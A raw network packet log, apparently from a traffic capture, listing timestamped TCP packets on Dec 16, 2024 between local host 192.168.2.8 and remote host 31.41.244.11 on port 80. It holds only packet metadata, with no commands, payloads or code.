Dec 16, 2024 13:16:14.518326998 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.518356085 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.518403053 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.519048929 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.519099951 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.519176960 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.519222975 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.520030975 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.520085096 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.520198107 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.520241976 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.521013021 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.521061897 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.521141052 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.521181107 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.521949053 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.521995068 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.522069931 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.522118092 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.522916079 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.522973061 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.523020983 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.523066998 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.523894072 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.523941994 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.524000883 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.524043083 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.524874926 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.524925947 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.524950027 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.524996996 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.525827885 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.525872946 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.525975943 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.526020050 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.526801109 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.526849031 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.526896000 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.526933908 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.527787924 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.527836084 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.527946949 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.528023958 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.528731108 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.528779030 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.528839111 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.528884888 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.529717922 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.529772997 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.529827118 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.529872894 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.530699968 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.530755997 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.530786991 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.530831099 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.531634092 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.531691074 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.531723022 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.531790018 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.532592058 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.532648087 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.532721996 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.532764912 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.533545971 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.533602953 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.533637047 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.533682108 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.534490108 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.534539938 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.676276922 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.676320076 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.676352024 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.676392078 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.676559925 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.676738024 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.676783085 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.677604914 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.677661896 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.677737951 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.677778959 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.678587914 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.678630114 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.678670883 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.679869890 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.679896116 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.679929018 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.679948092 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.680483103 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.680524111 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.680568933 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.681566000 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.681615114 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.681644917 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.681687117 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.682413101 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.682434082 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.682478905 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.683425903 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.683442116 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.683491945 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.684319973 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.684425116 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.684469938 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.685281992 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.685369015 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.685422897 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.686247110 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.686343908 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.686394930 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.687272072 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.687334061 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.687371969 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.687432051 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.688177109 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.688261986 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.688306093 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.689143896 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.689198971 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.689235926 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.689279079 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.690216064 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.690383911 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.690437078 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.691232920 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.691282988 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.691318989 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.691359997 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.692075014 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.692117929 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.692132950 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.692193031 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.693054914 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.693099022 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.693296909 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.693346024 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.694013119 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.694073915 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.694119930 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.694984913 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.695027113 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.695053101 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.695065022 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.695985079 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.696099043 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.696108103 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.696141958 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.696891069 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.696932077 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.696939945 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.696975946 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.697841883 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.697864056 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.697889090 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.697918892 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.698812962 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.698915005 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.698965073 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.699981928 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.700028896 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.700170040 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.700215101 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.701062918 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.701112986 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.701148033 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.701189995 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.701781034 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.701837063 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.701839924 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.701877117 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.702677011 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.702780962 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.702830076 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.703639984 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.703684092 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.703716040 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.703758955 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.704612017 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.704662085 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.704669952 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.704708099 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.705626965 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.705676079 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.705744028 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.705782890 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.706542969 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.706660986 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.706708908 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.707515001 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.707565069 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.707672119 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.707720995 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.708493948 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.708548069 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.708662033 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.708698034 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.709434986 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.709479094 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.709543943 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.709578991 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.710392952 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.710510015 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.710553885 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.711364985 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.711419106 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.711466074 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.711505890 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.712333918 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.712384939 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.712431908 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.712470055 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.713370085 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.713417053 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.713440895 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.713478088 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.714262962 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.714464903 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.714518070 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.715221882 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.715270996 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.715308905 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.715347052 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.716192007 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.716242075 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.716335058 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.716375113 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.717132092 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.717180967 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.717247009 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.717287064 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.718135118 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.718240023 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.718290091 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.719096899 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.719146967 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.719187975 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.719223022 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.720223904 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.720271111 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.720339060 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.720376968 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.721086979 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.721132994 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.721173048 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.721210957 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.721980095 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.722029924 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.722259998 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.722300053 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.722954988 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.722999096 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.723006964 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.723042011 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.723984003 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.724026918 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.724076986 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.724114895 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.724877119 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.724917889 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.724978924 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.725018024 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.725855112 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.725920916 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.725977898 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.726016998 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.726864100 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.726916075 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.868073940 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.868098021 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.868319988 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.868338108 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.868377924 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.868463993 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.869194031 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.869262934 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.869298935 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.869348049 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.870227098 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.870239973 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.870297909 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.871227980 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.871239901 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.871288061 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.872226000 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.872236967 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.872272968 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.873121023 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.873131990 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.873172045 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.874037027 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.874963999 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.874974966 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.875020027 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.875075102 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.875112057 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.875946999 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.875987053 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.876034975 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.876072884 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.876940966 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.876990080 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.877039909 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.877074957 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.877999067 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.878011942 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.878062963 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.878849983 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.878896952 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.878942966 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.878979921 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.879898071 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.879911900 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.879944086 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.879961967 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.880882978 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.880894899 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.880925894 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.881839991 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.881853104 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.881881952 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.881901979 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.882890940 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.882903099 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.882935047 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.883871078 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.883882999 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.883912086 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.884731054 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.884742975 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.884768963 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.885715961 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.885727882 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.885755062 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.885782003 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.886635065 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.886646032 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.886677980 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.886698008 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.887686014 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.887734890 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.887780905 CET	80	49711	31.41.244.11	192.168.2.8
